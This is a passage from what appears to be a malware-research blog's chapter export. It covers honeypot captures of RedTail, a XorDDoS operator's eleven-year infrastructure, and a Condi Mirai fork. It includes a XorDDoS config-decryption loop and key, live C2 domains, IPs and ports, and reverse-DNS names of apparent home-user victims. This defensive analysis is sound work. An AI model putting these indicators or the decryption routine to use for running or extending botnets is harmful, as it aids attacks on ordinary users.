encrypted channel. Why this is NOT an indicatorI was about to note that IP down as \"RedTail infrastructure\". It would have been one of those mistakes that get copied: dns.njal.la is used by thousands of people who have nothing to do with this. Flagging it would be like reporting the phone company because a criminal made a call. The good data point isn't the IP — it's the technique: RedTail resolves its domains over an anonymous, encrypted DNS. That does portray the operator. 05And on top of that, the table that wasn't And now my own mistake, the one that really stings: nobody did this one to me, I did it to myself. Before pulling out the cage I'd tried the clean route —finding the decryptor inside the binary— and thought I'd found it. A fine entropy sweep —measuring the binary's \"disorder\" in small windows, not big ones like in chapter 6— turned up a 256-byte table hidden among the data, a perfect permutation of every possible value. A substitution table: the typical piece of a homemade cipher. My first reflex was to call it an \"S-box\" — and that name already presumes a cipher role I hadn't proven. 02468 entropy (bits/byte) 0x465a00 · 7.67 20,312 windows of 256 B · 5.2 MB → The whole binary, measured in 256-byte windows. Twenty thousand chunks, all with normal entropy… and a single needle. That's the hidden table. It was identical, byte for byte, across the bug's five architectures — when I wrote this I counted four, because my version of UPX couldn't get the wrapper off the RISC-V binary and I left it out. A newer version opens it without complaint, and the table is in there too. Same thing again: the fault was my tool's, not the sample's. That places it in the common trunk of all four —part of what they carry inside, not what each platform's compiler adds—, though it doesn't prove they wrote it: it could come from some library they drag along. 00112233445566778899AABBCCDDEEFF 256 cells · 256 distinct values · zero repeats The table I found, drawn cell by cell (colour is the value). All 256 possible values, each once: a permutation. It smelled of encryption. It wasn't. And I found the routine that uses it: a mix of chained adds and XORs. I convinced myself that this was the config's cipher, and licked my lips. Well, no. When I finally searched properly, the Italian analysis said RedTail's configuration is decrypted with something quite different: a pseudo-random number generator. One of those that, given a starting number, spit out a stream of bytes that looks random but is always the same. That stream is the key, and with it the cipher comes undone. And they gave a clue to recognise it: the constant 0x6c078965, the one the Mersenne Twister —the MT19937, a classic generator— uses when setting up its initial state. I went looking for it in my binary. There it was, crouching at 0x1c409. Here I'll split hairsWhich is exactly what I didn't do in chapter 6. From now on it's worth separating three things that aren't worth the same. What I've seen myself: the configuration in memory, the names it disguises itself with, the 256-byte table, and that constant in my sample. What I've read: that the configuration is decrypted with that generator — they say so; I haven't followed the routine to the end. And what I deduce putting the two together: that this table has nothing to do there. It fits well. But deducing isn't having seen, and that distinction is the one I lacked the first time. And isn't it RC4? It's the question that had to be asked: a 256-byte permutation moved around with adds and XOR looks exactly like RC4. But this time I didn't trust the resemblance — I looked in the binary. And it doesn't fit, in three places. The table lives in a read-only segment (R-X, no write bit), and RC4 needs to rewrite its state on every byte it produces (swap(S[i],S[j])): there, it physically can't run. And in the whole binary nobody writes to it — of the three only times it's touched, all three are reads, and all three fall in the same loop: the table in the binary · permissions and referencesva 0x8659e0 R-X segment ; read-only, no writes 3 references in 962,205 instructions, all 3 reads: 0x6c82e9 movzx eax, byte [rax + 0x8659e0] 0x6c8309 movzx eax, byte [rax + 0x8659e0] 0x6c832a movzx eax, byte [rax + 0x8659e0] not one swap, not one write, in the whole file And the shape of the code isn't RC4's either —which is swap plus a single XOR against the data—: what's there is h = T[h ⊕ c] chained, one forward pass adding and one backward pass with XOR. Zero swaps. It's a chained substitution, Pearson style, and the loop hangs off two descriptors that only change parameters — the shape of a library's algorithm table, not of hand-written code (a stone's throw away, in .rodata, there's a wall of libuv strings). So the honest label is the dullest one: a 256-byte substitution table. Which library and for exactly what, I don't know — the binary is stripped, no symbols, and it's not enough for me to identify it. And I'm not going to make it up, which is exactly what this chapter is about. And now the part I wasn't expecting: this absolves me of something else. In chapter 6 I spent an afternoon proving the configuration is not encrypted with a repeating-key XOR — I swept the whole file for the statistical fingerprint that cipher leaves, trying keys from 1 to 40 bytes, and it came out clean. It was the only thing in that chapter I hadn't read anywhere, so I confess that, this late in the day, I feared this would knock that down too. Well, it doesn't knock it down: it turns it around. A generator like this produces a deterministic stream of bytes —always the same if you give it the same starting number— that can be used as a key. And if decryption means applying that stream byte by byte with XOR, then it's still XOR. What falls isn't the XOR: it's the short-repeating-key hypothesis. A stream like that takes an absurdly long time to loop back on itself —incomparably longer than this file's five megabytes— so a test looking for repeats every 1 to 40 bytes had nothing to find. Which is the honest summary of that afternoon: I wasn't wrong to look for XOR. I was wrong to look for a short key. The table has a nameI closed that line saying I didn't know which library it came from and that I wasn't going to make it up. There's nothing left to make up. Those 256 bytes sit verbatim inside OpenSSL, Nettle and libgcrypt. They are the PITABLE of the RC2 cipher, the one defined by RFC 2268 — and RedTail links OpenSSL statically, so it drags it along without meaning to. And it matches what I described without knowing what it was: RC2's key schedule is, word for word, one pass forward adding and another backward with XOR. That those three reads are exactly RC2's key expansion is the only thing I'm inferring here; that the table is RC2's is measured. ✅ And it doesn't dismantle anything: it confirms. The table isn't RedTail's and doesn't decrypt the configuration, which was the conclusion. And ruling out RC4 was right too — the hunch that it \"looked exactly like RC4\" was off by a single digit: RC2, not RC4. The difference, which is the lessonMy table exists, it's real and it's in there. But it doesn't decrypt the config — and, as I've just seen, it probably isn't even its own, but from a library it drags along. I took it for the main cipher because it fit what I wanted to find. I found a real piece, and stuck on it the label that suited me. That's how a mistake slips in: not by inventing a data point, but by wanting the data point you have to be the one you were after. 06Three weeks on The three proxies, todayThe three proxies are still alive and resolve to 31.56.209.165 and 130.12.180.51. (The root domains don't resolve: only the proxies.* subdomains exist.) This campaign hasn't gone anywhere. And looking at where those addresses live turned up a thread I hadn't seen, joining two chapters ten apart. The mining proxy's IP, 31.56.209.165, and the delivery server from Chapter 5, 217.60.195.113, sit in different ranges — but they share the same network number and the same registry name: AS209373, SWISSNET. (And here the two facts agree, without the holder-versus-announcer tangle that turned up in Chapter 11.) Which is to say: the place that hands out the binary and the place that binary sends the money to are with the same provider. No chapter had connected those two pieces, and it only shows up by comparing 5 with 15. Which is exactly what Chapter 4 was celebrating: saving and comparing pays. The missing piece of the Mersenne TwisterUp above I published the constant the generator is seeded with, 0x6c078965. Verifying chapters 5 and 6 turned up the other half: the complete implementation of the generator, at 0x466cb0, with all four textbook constants. They're two different functions and they fit together — one seeds, the other generates. One detail that points somewhere: that function has a single consumer in the whole binary. A general-purpose library PRNG would have dozens. ⚠️ What it's used for is not established. It's a lead, not a conclusion: I'm not saying that's the byte stream that decrypts the configuration, because I haven't followed it to the end. And something that stings a littleI got the encrypted-DNS finding by switching the miner on in the cage. It turns out it had been sitting there free since 30 July in an automated VirusTotal report. Two different routes, the same result — except one cost building a lab and the other cost looking. The configuration in memory did require detonating it; this didn't. Chapter 6 ended by saying that recognising a wall is part of the craft. I still think so. Only now I know there are three kinds of wall: the one that can't be knocked down, the one that only costs hours… and the one someone already knocked down while you were banging your head against the one next to it. RedTail had an owner from the start. The name 2137gang came in the very domains my sample carried, and a handful of security firms had had the family cut wide open since 2024. I arrived in 2026, with a freshly built cage and a lesson I'd already written to myself. I came back, as I said I would. I don't bring the scoop I wanted: I bring the full map, the missing piece put in by others, and a mistake of my own told before anyone else tells it. That'll do. To be continued — the decoy's still on. And me, from now on, with the search box open before the first line — and not closing it because the first place agreed with me. 🍯","date":"2026-08","fam":"RedTail","n":15,"spec":"RedTail (XMRig miner)","sum":"I built a cage, ran the miner and pulled from memory the configuration I couldn't decrypt back in chapter 6. I got excited… and walked away with two things I wasn't looking for: that this family was already documented top to bottom —somewhere it never occurred to me to look— and that the piece I thought I'd decrypted was for something else.","t":"I went back for RedTail, and RedTail already had an owner","tags":["reverse engineering","XMRig","cryptojacking","dynamic analysis","Monero"],"tipo":"Miner (cryptojacking)","url":"/en/chapter-15/"},{"body":"One night in August 2026, in the small hours, someone knocked on my honeypot's SSH door, walked in with root : ubnt — the factory password on Ubiquiti gear — and was gone 62 seconds later. It left a binary behind. I opened it up, wrote two chapters about it, and put a label on it: Gafgyt. The label was wrong. But I didn't find that out by re-reading my notes: I found out a week later, going all the way round the other way — an IP, a landlord, a tenant, a hundred and thirteen samples belonging to other people — until I came back to where I started and discovered that the operator had been sitting in my honeypot since day one, wearing the wrong name. This is that lap. It isn't the dissection of a critter: it's the tracking of the people who run it, as far as public records will take you. How to read thisThree levels, always kept apart: seen (I ran and checked it myself), read (a third party says so) and inferred (that's my interpretation, with its confidence). Mixing the three is exactly when I get it wrong — and I got it wrong eight times here, all of them written down. 01A needle in four million Those 62 seconds deserve some scale. Across its logging window — eight days — the honeypot piled up 3,874,029 events. Searching that entire haystack for this campaign's full signature turns up two events, one session, one IP, one day. And of the 52 distinct hashes that landed that week — miners, botnets of every stripe, thirty-nine that aren't catalogued anywhere at all — exactly one belonged to this operator. Though \"distinct\" is generous: most of them are repeats — persistent little things. Thirteen of the ones I keep weigh exactly 1,608 bytes — the same script over and over, with the download filenames swapped on every delivery. Change one letter and it's a different file to any catalogue. It wasn't a campaign hammering the door. It was a grain of sand that turned out to be the whole case. 02The wrong name (and I wasn't the only one) That binary went into my catalogue as Gafgyt / Bashlite. In with it went its download server, its persistence (/etc/cron.hourly/gcc.sh, /var/run/gcc.pid), the trick of renaming wget to good, and a sixteen-byte XOR key I pulled out with Ghidra: BB2FA36AAA9541F0. All of that is XorDDoS's signature, not Gafgyt's. The key is its own — the one it's named after. The gcc.pid is its PID file. Renaming the tools is its house mark. And when I finally checked, three independent engines agreed: Elastic's rules, ditekSHen's, and ReversingLabs' engine — all of it visible on its public MalwareBazaar page. seen What consoles me little and teaches me a lot is that I wasn't the only one. The same object is catalogued four different ways: same binary, four labelsmy catalogue ............. Gafgyt / Bashlite MalwareBazaar ............ DDoSAgent ThreatFox (its server) ... Mirai another honeypot network . mdrfckr-ssh-backdoor -------------------------------------------- the file's own YARA rules .. XorDDoS ReversingLabs .............. Linux.Trojan.XorDDoS And one detail finishes it off: whoever reported that server as \"Mirai\" is the same person who uploaded the sample to MalwareBazaar as \"DDoSAgent\", two and a half months before me. Another honeypot caught the exact same thing and also gave it the wrong name. The lesson that governs everything elseFamily labels in repositories and feeds are noise. They copy one another and nobody checks. The only thing that settles the question is opening the binary and reading what's inside. Everything that follows comes from having done exactly that. 03The other way round: an IP and a landlord The investigation didn't start from the binary. It started with something far more boring: who owns this box? The IP was 141.98.11.51. The owner, a small reseller in Lithuania (AS209605, UAB Host Baltic). Nothing remarkable. What was remarkable came from asking who lives there: what hangs off that IPaaa.xxxatat456.com ppp.xxxatat456.com ppp.gggatat456.com www1.gggatat456.com b12.gggatat456.com p5.dddgata789.com Keyboard-mash names. And then their age in the public registries, which was the surprise: xxxatat456.com and gggatat456.com have been registered since 31 March 2015, renewal paid through to 2027 — the third one, dddgata789.com, is later: February 2017. seen Eleven years of domains. Being renewed. And still resolving. What was already publishedThis family isn't a discovery of mine: MalwareMustDie exposed it in 2014, Microsoft analysed it in 2022 and Unit 42 documented a campaign in 2023 using these very domains. What none of those reports covers is what comes next: the full eleven years, the operator behind it, and the generation that is alive today. read 04The binary talks: sixteen rotations Here's the technique that cracks the case open, and it's worth telling because it's what separates reasoning from clues and reading the object. A single indicator from ThreatFox came with one specific sample attached. Pulling on that, I downloaded the family's entire public corpus: 113 samples. Their configuration is encrypted with the same key from chapter 2. With one detail that cost me a while: each string starts at its own offset, so applying the key aligned to the start of the file only decrypts part of it. Trying all sixteen rotations of the key, almost everything comes out. the loop that opens it# each string starts wherever it likes: you have to try all 16 offsets KEY = b\"BB2FA36AAA9541F0\" for rot in range(16): k = KEY[rot:] + KEY[:rot] dx = bytes(data[i] ^ k[i % 16] for i in range(len(data))) # look in dx for: config.rar, domain:port, http:// 78 of the 113 samples give up their configuration. And the first thing that appears changes the whole case. In that same Lithuanian box lived another domain, sys-kernel-update.to, with Icelandic nameservers and a spotless certificate. Its whole tradecraft was different from the 2015 cluster's, so I had it filed as a different operator, from a different family. Two samples say otherwise: decrypted config · April 2026 samplehttp://sys-kernel-update.to/config.rar telemetry-pipe.sh:1430|api-metadata-v6.is:1430|sys-kernel-update.to:1430 It's written there, encrypted with XorDDoS's key, inside binaries three engines sign as XorDDoS. It wasn't a neighbour from another family. And port 1430 matched exactly what ThreatFox had published on its own: two sources that don't talk to each other, pointing at the same place. seen 05One operator, not two For several days I held that two tenants shared that box. With the passive DNS history in hand, that idea falls apart. The two sets of domains — the 2015 veteran and the Icelandic one launched in 2026 — move into the same machine on the same day and then move together four more times: 22 Feb141.98.10.38 — both arrive, same day. 22 Mar141.98.10.24 — they move together. 24 Mar141.98.10.115 — together again, nearly three months. 12 Jun141.98.10.161 — together. 21 Jun141.98.11.51 — together, to this day. Sharing a box is a reseller coincidence. Moving in on the same day and relocating four times in lockstep is not. seen What happened in February 2026 wasn't a neighbour arriving: it was the same operator launching a new set of domains with new tradecraft — Icelandic registrars, proper TLS — and running it on the very same machines as the old one. Two generations of craft from the same hand, side by side. 06February 2026, by the clock There's a third set of domains — aass654, xxcc789 and three more — bought as a block on 22 March 2024. It looked like \"the same school\". It's rather more than that: of the 40 IPs it ever used, 35 were also used by the veteran cluster. That's 87 %. And not consecutively — simultaneously: on one of those machines the two sets lived together for eight straight months. seen With that, what happened last February reads end to end with no gaps: 23 Janlast sample of the 2024 set. 16 Feball five domains get suspended at once. 18 Febfirst sample using a brand-new set. 19 Febtwo more domains registered, in Tonga and Iceland, five hours apart — and that same day there's already a sample using them. Five domains taken down, and a replacement running in under 72 hours, fleeing his usual registrar for Tonga, Iceland, Laos and Montenegro. What you have to tell yourself\"Two new sets up and running\" is more than the evidence supports. Looking at the passive DNS for all six domains, only one has actually resolved. What holds up is: one live host with five more names written into the binary as fallbacks, most of which never came up at all. A name in a config file is not infrastructure. 07Eleven years of moving house — and the origin With the full history, the biography writes itself. xxxatat456.com has passed through 110 distinct addresses between April 2015 and today: eleven years of landlords2015 ......... Hong Kong, Thailand, Korea 2016 - 2022 .. OVH, France — home base, seven years 2023 - 2024 .. PEG Tech, United States 2025 ......... Vietnam, Hong Kong, France 2026 ......... Lithuania And the beginning of it all is in that first line. The reverse passive DNS of that 2015 Hong Kong machine returns this: 103.240.141.54 · spring 20152015-04-20 ns3.hostasa.org 2015-04-28 www.xxxatat456.com 2015-05-10 www1.gggatat456.com 2015-05-18 gggatat456.com hostasa.org is the command server of the first documented XorDDoS, the one MalwareMustDie exposed in 2014. And there it is, sharing a machine with our operator's first domains, inside a four-week window. seen It isn't the only sign. One and the same binary carries hardcoded, at adjacent offsets, hostasa's config address and atat456's server list — and not just in 2022: in a sample from January 2025 too. The caveat that changes what this proveshostasa.org lapsed and had been dead since 2019. So in the 2025 samples that address was no longer serving anything: it was a dead string dragged along in the code. Which means the binary evidence proves code lineage — the same builder, the same template — and proves genuinely shared infrastructure only up to 2019. That's a lot, but it isn't the same thing. That it's the same person in 2015 and in 2026 is likely, not proven. hostasa.org is backWhat's above was true until August 2025. Not any more. RDAP says somebody re-registered the domain on 4 August 2025, and today it resolves: hostasa.org and aa.hostasa.org both point at 34.41.139.193. seen So the sentence holds for the 2025 samples up to that August, and stops holding after it: any bot still dragging that string around today is talking to somebody. To whom, I don't know, and I'm not going to guess. What I can say is how that address behaves: it's a Google Cloud host answering nginx 200 on hundreds of ports. That profile isn't a delivery server's; it looks far more like a research sinkhole, the kind somebody stands up to see who is still calling. deduced And on either reading — whether the operator got it back or a researcher picked up the corpse — it reinforces the lineage argument: that somebody would pay to revive a domain dead since 2019 says the name is still worth something. A detail with its own irony: the 2015 landlord was called ClearDDoS Technologies. 08The branch that isn't mine This is where to slow down, because it's the point where overreaching would be easiest. Alongside the lineage I've just described there's a second one, which shares things with it and which is not attributed. Five domains — enoan2107.com, gzcfr5axf6.com, myserv012.com, checkokdomain.com and monstervp.com — have shared the same pair of name servers since 2019 and, more importantly, travel the same machines on the same dates for five years. Three of them land together on 103.254.75.120, in Hong Kong, on 18 March 2024. They're still there. seen Measure the signal before believing itOf the four name servers on that account, two are shared by thousands of unrelated domains that have nothing to do with any of this: on their own they mean nothing. What actually groups by account is the specific pair formed by the other two, and I checked that against third-party domains before accepting it. It's the discipline that runs through the whole case: ask how many hosts have this same property without being my target. In favour of it being the same hand: they share the same configuration host as the atat456 binaries, aa.hostasa.org, and they share the 2015 DNS column. Against, and it weighs heavily: their landlord rotation never touches ours at any point, and between the two branches there is not a single address overlap. Exactly the opposite of the sibling cluster, where the overlap was 87%. With that on the table, the only thing that holds is same operation, different division. inferred And there I stop. It's the question this case leaves open, and forcing it would be precisely the mistake I've spent the whole investigation trying not to make. A warning that applies to the whole familyenoan2107.com was registered in 2021 and gzcfr5axf6.com in 2016. They are not, therefore, \"the classic 2014-2015 domains\", however often they're cited as such in this family's literature. The ones from that era are hostasa.org and the dsaj2a branch. 09The landlords, all the way up The method is the same one from the beginning, and it's boring on purpose: from the address to the hosting, from the hosting to whoever owns the space, and from them to whoever rents it to them. All the way up. Where the command server lives today we've already seen: Lithuania, a small reseller. What I hadn't said is what company it keeps. Of the 500 recent scans urlscan holds for that network, 71% are fake pharmacies — 85 distinct domains — and another 5% are casino impersonations. Our operator is a minority tenant there. seen Bias declaredurlscan measures what people scan and report, not the house's real traffic. It's good for portraying the neighbourhood, not for taking its census. Where the Hong Kong branch lives is two separate network numbers that are really the same house: same administrator, same phone, same mailboxes, and one giving transit to the other with China Telecom above them. Of their hundred most recent scans, 87 carry an impersonated brand in the domain name itself — WhatsApp, OKX, Bitpie, DeepSeek. Their administrative mailbox points to a domain they let expire, now parked in the Netherlands. The abuse one does work, and it's a free Outlook account: for two networks and some nine thousand addresses. And where the loader lives — the machine that actually does the infecting — there are four floors for a single box: 169.239.130.20 · four floorsspace ..... South African AFRINIC, registered 2021 holder .... Zappie Host — Trinity House, Victoria, Seychelles announced . AS49870 Alsycon B.V., Netherlands resold by . HostMayo — 126 machines in the /24, nearly all SSH-only African space, owner in the Seychelles, Dutch announcement, resold as cheap boxes. And the bottom rung paints its own portrait: Zappie Host rents from $4.50 a month in New Zealand, South Africa and Chile — the odd-geography niche — throws in routing sessions free to anyone who asks, takes PayPal and bitcoin under the verbatim pitch \"bitcoin, Where privacy matters\", and publishes no abuse policy. You don't need a purpose-built bulletproof host when this exists for the price of two coffees. That box runs Apache on Ubuntu, its root returns a 403, and the only thing that answers is new.php. And it has an external check tying it to my honeypot: urlscan scanned it before I ever saw it and came away with 114,144 bytes — exactly the size of the binary that landed on me that August night. Eighty-two days serving the same payload from the same place, verified by somebody who isn't me. seen And here comes the contrast that portrays him best, and it comes out of my own honeypot. Of the binaries I kept from that week, thirteen are the 1608-byte droppers I mentioned at the start. The only thing that changes between them is the download names: 156 distinct names across the thirteen, not one repeated, all pointing at the same Dutch machine. That campaign manufactures a fresh script and twelve fresh addresses on every delivery, so that no hash- or URL-based blocklist is any use to anyone. seen Our operator does the exact opposite. One single address, untouched for eighty-two days. The same domains renewed since 2015. The same key since 2014. It's not that he doesn't know how to do the other thing — when five of his domains went down at once in February, he had the replacement running in three days. It's that with these he doesn't need to. inferred The asymmetry I can't explainThe five domains suspended in February were from 2024 and had, as far as I know, not a single public report on them. The 2015 ones have been in Unit 42's report, in Talos's, and even on official Chinese blocklists for years — and there they still are, live, renewal paid through to 2027. What is unknown gets taken down; what is documented is left alone. I don't know why. visto 10I had the wrong decade With the Hong Kong landlords I came close to slipping one of the invisible errors into this text, because the fact isn't false: it's a true fact placed in the wrong year. I had written that the space belongs to an address wholesaler and is announced by a Hong Kong company that sells, among other things, DDoS protection. And that's true. Today. The trouble is that branch's command server lived there in 2022 and 2023, and I was describing those years with a 2025 photograph. Internet registries, by default, only show the current state: who owns it now. Asking them about the past is a different matter. What does answer \"who was announcing this range on that date?\" is the BGP history. And it answers with dates: who announced each range, and since when23.235.171.197 C2 2022-2024 → AS136800 MOACK.Co.LTD (Korea) + AS40065 CNSERVERS 2021-06 → 2024-03 23.248.237.29 C2 2022 → AS136800 MOACK.Co.LTD 2021-06 → 2023-12 43.249.172.214 C2 2022 → AS136800 MOACK.Co.LTD 2021-06 → 2023-12 The landlord back then was MOACK, a Korean company, with a US co-announcer. Not the ones from now. seen And correcting the error turned up something better than the error. The company that announces that space today doesn't start doing so until 18 March 2024 — precisely the month the Hong Kong branch abandons those ranges and jumps to another house. The operator moved out, roughly, when the house changed owner. I'm not forcing the causation, but the coincidence of dates is there. A finishing touch, at my own expense: moack.net was already listed as a contact for one of those ranges in my own notes, written three hours earlier that same night. It was the thread running through it and I had it in front of me without seeing it. The irony I dropped back at the origin also takes another turn. The 2015 landlord was called ClearDDoS; the company that holds the Hong Kong space today sells DDoS protection. I don't offer that as complicity, but as a description of the market: whoever sells mitigation owns exactly the network whoever sells attacks needs. For the record, with its dateThe names, since every other landlord in this case gets theirs: today that space is announced by Yancy Limited (AS138415, Hong Kong), which sells transit, address leasing and DDoS protection, and its holder in the American registry is RedLuff, LLC, an address broker with fifteen blocks and nearly 41,000 addresses. Neither had anything to do with this space in 2022 and 2023, which is the period that matters here: Yancy's network number and RedLuff's registry objects are both later. I name them because I name every other landlord, not because there is anything to pin on them. 11Who this actually hits Throughout the investigation the most obvious question was missing. This is a machine for doing harm: who does it harm? The only available list is the 171 addresses Cisco Talos published alongside its report. I resolved reverse DNS on all of them; 61 answered. The result doesn't leave much room for interpretation: who's on the other endc-73-95-47-244.hsd1.co.comcast.net a house in Colorado fl-69-69-2-11.dhcp.embarqhsd.net a house in Florida p5b360a39.dip0.t-ipconnect.de a house in Germany 189-47-95-188.dsl.telesp.net.br a DSL line in Brazil 2-77-15-250.kcell.kz a mobile in Kazakhstan 233.226.205.221.adsl-pool.sx.cn an ADSL line in China 47 % of the ones that answer are residential connections. These aren't data centres: they're ordinary people's home internet, across five continents. seen And it fits what the DDoS-for-hire market actually is. A booter isn't hired to bring down infrastructure: it's hired to kick someone off the internet — a rival in a game, a personal dispute, someone you want to shut up. inferred Eleven years of infrastructure renewing itself, and a trail of landlords across half the world, to knock out someone's house in Colorado. An anomaly I'm not calling solvedEleven of those addresses sit in US Department of Defense space, and none has reverse DNS. Those ranges are the classic place to spoof the source addresses of an attack, precisely because nothing comes back. So most likely those eleven aren't victims but forged origins that slipped into the list. inferred It can't be settled with this data — but calling them \"targets\" and leaving it there would be exactly the mistake I've spent the whole case trying not to make. It doesn't always come in the back doorMy honeypot watched it come in by SSH brute force, the classic route for this family. But it isn't the only one: in 2020 Tencent documented that someone registered a domain impersonating rinetd — a legitimate port-forwarding tool — and served a trojanised copy from it that pulled XorDDoS down by itself. A supply-chain poisoning. And the command-server list in that analysis contains, one by one, this operator's domains. read 12The money, and the human who doesn't show up This isn't a hobbyist with a trojan. It's a product that gets sold: there's a control panel, a builder and several versions, with sales pitches translated from Chinese that are pure consumer-product language — \"over 10,000 online with no lag\". read Where the business actually is doesn't appear in any Western report, but it does in an official Chinese CERT report from 2019. It describes, without naming it, the largest group in this family that year: it used \"a large number of malicious domains containing specific strings\", was linked to \"a public organisation discovered in 2014\", and served the pirate game-server, porn and gambling industries. Its command centres were mostly in France — our home base — and in November 2018 a single group was running more than 70,000 infected machines. seen, read from the original PDF That's the market: not espionage or sabotage, but wars between underground businesses DDoSing each other. And the person? The panel's creator left a messaging contact and an alias inside it. Talos, who found them, doesn't publish them — not the data, not even the hash of the file they're in. So the wall isn't \"they don't distribute the sample\": it's that the artefact isn't publicly identified at all. There's no door to force. Though in the Chinese-speaking world he isn't a stranger. The Chinese state network-security notification centre publishes blocklists, and in July 2025 one of them carries a subdomain of this cluster, with the family named. seen And there are Chinese analysts who have already named the group — they call it by the same string I do, ata — and credit it, with just two domains, with two out of every three attack orders in the whole family. That last figure I couldn't verify: the article sits behind an anti-bot wall and all I've seen is the search-engine snippet. read, unverified A logical leap worth flagging before the reader doesThat contact and that alias are in the central panel: they belong to whoever built and sells the product. Our operator could perfectly well be one of its customers — there are a dozen different server sets using the same builder. Treating them as \"our operator's face\" would be joining two different people together. I'm not doing that. 13The circle closes With the corpus decrypted and the technique in hand, it was time to do the thing I hadn't done: apply it to the binary my own honeypot caught — the one filed as Gafgyt. That I still had it isn't luck, and it has its funny side. After that visit I set a watchman on the lab: a script that listens to the downloads directory and copies every sample the instant it appears, with a rule never to delete — because Cowrie rotates fast and whatever you don't copy is gone. In its comments, explaining the hurry, I wrote \"the Gafgyt in chapter 1 did it in 62 seconds\". The sample now disproving that label was saved by a tool that exists because of it. my own sample's configurationhttps://api-metadata-v6.is/config.rar telemetry-pipe.sh:1529|api-metadata-v6.is:1529|sys-kernel-update.to:1529 That's exactly the server set launched in February 2026. sys-kernel-update.to resolves to 141.98.11.51 — the Lithuanian box, right next to the 2015 domains. seen I went all the way round — an IP, a landlord, a tenant, a family, 113 other people's samples, eleven years of moving house, reports from half the world — to come back to the starting point and find that it was already there. The honeypot wasn't the beginning of a road leading somewhere else. The honeypot had the operator in its hands from day one, wearing the wrong name. Who else is watching thisPublic feeds watch in bursts. February's Icelandic domains were flagged by someone the same day they were registered — there are automated trackers watching new registrations. Meanwhile the five domains of the sibling cluster have not a single record in the feeds I can query, and neither do three of the five in Hong Kong. There are parts of this operation that have been running for years with nobody looking. seen Still trueI resolved all seven names again. All seven land in the same box, 141.98.11.51 — the six from the 2015 cluster and sys-kernel-update.to, which is the C2 I pulled out with Ghidra back in Chapter 2. seen It wasn't an August snapshot: twelve days on, everything is still where it was. And the ending, which isn't the one I wanted but is the one there is: this isn't a faceless botnet. It's a face a third party saw, that I can't read and that probably isn't even my operator's but that of whoever sold him the software. And it would be quite the joke if some bloke with a laptop had put a name to him where a multinational in the trade couldn't. But that's not what happened. To be continued — the honeypot is still on. So is the tenant. 🍯","date":"2026-08","fam":"XorDDoS","n":16,"spec":"atat456","sum":"A bot walked into my honeypot, stayed 62 seconds and left. I filed it as Gafgyt and I was wrong. A week later I followed its command servers and ended up inside an operation that has been running since 2015 — one I'd had in my hands from day one.","t":"The tenant who'd been there eleven years","tags":["OSINT","XorDDoS","botnet","DDoS","investigation","passive DNS"],"tipo":"Botnet (DDoS)","url":"/en/chapter-16/"},{"body":"Sunday looked quiet when my new-binary alarm went off. And it surprised me, because it had been silent for days. So the first thought was the best one anybody with a trap set can have —something fresh— and I got to work. A warning before we start, because this chapter isn't what it looks like. I'm not here to explain how Mirai works: I did that in chapter 3 and chapter 4, and repeating it is boring. This is something else, shorter and faster: how you tell that something is genuinely new. Complete with the two trips along the way, which are the part you learn from. 01The hunch broke twice The alarm didn't bring one thing: it brought three. And all three called for the same boring question. 1An old acquaintance — but look who's carrying it I recognised the first two straight away: Trinity, the ADB miner from chapters 10 and 13. Same hashes, same cycle, same wallet. Nothing new… until I looked at where they were coming from. Four visits in eight days, and four different IPs: three from China and one from South Korea, all of them on home or mobile networks, none on hosting, none repeating. That isn't an operator re-uploading his critter from a server: those are infected devices pushing it to the next one. Trinity is still alive and spreading six years on, and there's no delivery server here to take down — it moves from victim to victim over the debug cable itself. Hold on to that. At the end of the chapter it runs headlong into the other one. Inaccurate · being checked What follows, struck through, doesn't hold up as written, and I don't yet know how far it goes. I'm leaving it visible while I check: deleting it would be worse than leaving it badly flagged. Once I have the verdict this becomes an edit note like any other. 2The panel that wasn't a panel The third piece was different and it looked promising: a modern-looking login page, in Russian, \"OpenWrt Remote Hub\", with a username, a password and a captcha. A credential-stealing panel! I could already see myself pulling that thread. On top of that a different IP had brought it —from Finland, not from where Trinity came— so I filed it as a separate campaign. Until I asked the boring question: what exactly is this? And it turned out it wasn't even malware. It was the login screen of a real open-source project, without a single modification, identical to the one in its repository. So why had my trap saved it as if it were a payload? Because the attacker ran wget against that server, the server answered HTTP 401 with its login page as the body of the error, and wget, without -f, happily saves the body of an error. The chain delivered nothing. The six \"samples\" were six error messages. The scare, and why I don't name the projectI was one slip away from cataloguing an honest developer's front page as malware. That's why I don't name it here: it has no need to appear in a chapter about botnets, not even to be cleared. And you don't need its name to recognise it — the header its server returns is enough. A file your trap saves isn't necessarily what the attacker meant to deliver — before analysing, and above all before cataloguing, look at which HTTP response produced that capture. 3And what was left wasn't what I thought either With the noise ruled out, what remained did smell different: a server in Vietnam handing out multi-architecture binaries. My first reflex was to file it with Trinity —they landed the same day, through the same port— and I was wrong again. Because that dropper had not a single Trinity artefact: no APK, no pm install, no trinity binary, no wallet, no pool. What it had was the canonical pattern of a Mirai-school IoT loader. And the four IPs that were actually carrying Trinity never touched that box. The same vaccine, twice in one dayThe only thing linking the three was port 5555. And that isn't a relationship: it's the base rate. In eight days, 99 different IPs hammered that port on my trap. If \"they both go to 5555\" isn't enough to join Finland to Vietnam, it isn't enough to join Vietnam to Trinity either. The same boring question —where does this come down from?— saved me twice in the same afternoon. 02I went and got it And here I have to come clean about something. The trap didn't capture those binaries. It saved the three download scripts —the same one in three flavours: wget, busybox wget and curl— but not the twelve files those scripts were going to fetch: adbhoney records the URLs it sees in the command and doesn't chase the curl that lives inside the downloaded script. So I had the addresses and I didn't have the critter. It smelled fresh and I had to check, so I went and got the twelve myself. Nothing more: I didn't list the directory, didn't try credentials, didn't force any paths. Download them, set them read-only, and look. None of them was ever run. 03Mirai with a surname: Condi Twelve static ELF files, twelve architectures, all uploaded in the same second. And the operator made one delicious slip: of the twelve, one didn't get its symbols removed. You don't have to take my word for that detail. It's in the sizes, and the sizes are published: the ARM family, by sizecondi.arm 125,504 B condi.arm5 125,504 B condi.arm6 139,004 B condi.arm7 173,966 B # 35 KB extra, for the same program Those 35 KB are the symbol table. And inside it, in the clear, are the names from Mirai's leaked source: table_key, attack_tcp_syn, killer_init, resolve_cnc_addr. Even the compiler path gives the lineage away: the Aboriginal Linux cross-compilers, which are exactly the ones shipped with the Mirai build that leaked. One mistake in 1 of 12 and the binary's anonymity is over. But it isn't plain Mirai. It has a surname, and it says so itself: in the clear, in all twelve, are /var/Condi and condi2. It's Condi, a Mirai fork whose source was published in 2023 — documented back then by FortiGuard and Akamai. This particular campaign's marker is top1hbt, the exact equivalent of chapter 4's milnetv4. What they took out The Condi FortiGuard documents hunts for its own victims: it carries a scanner and 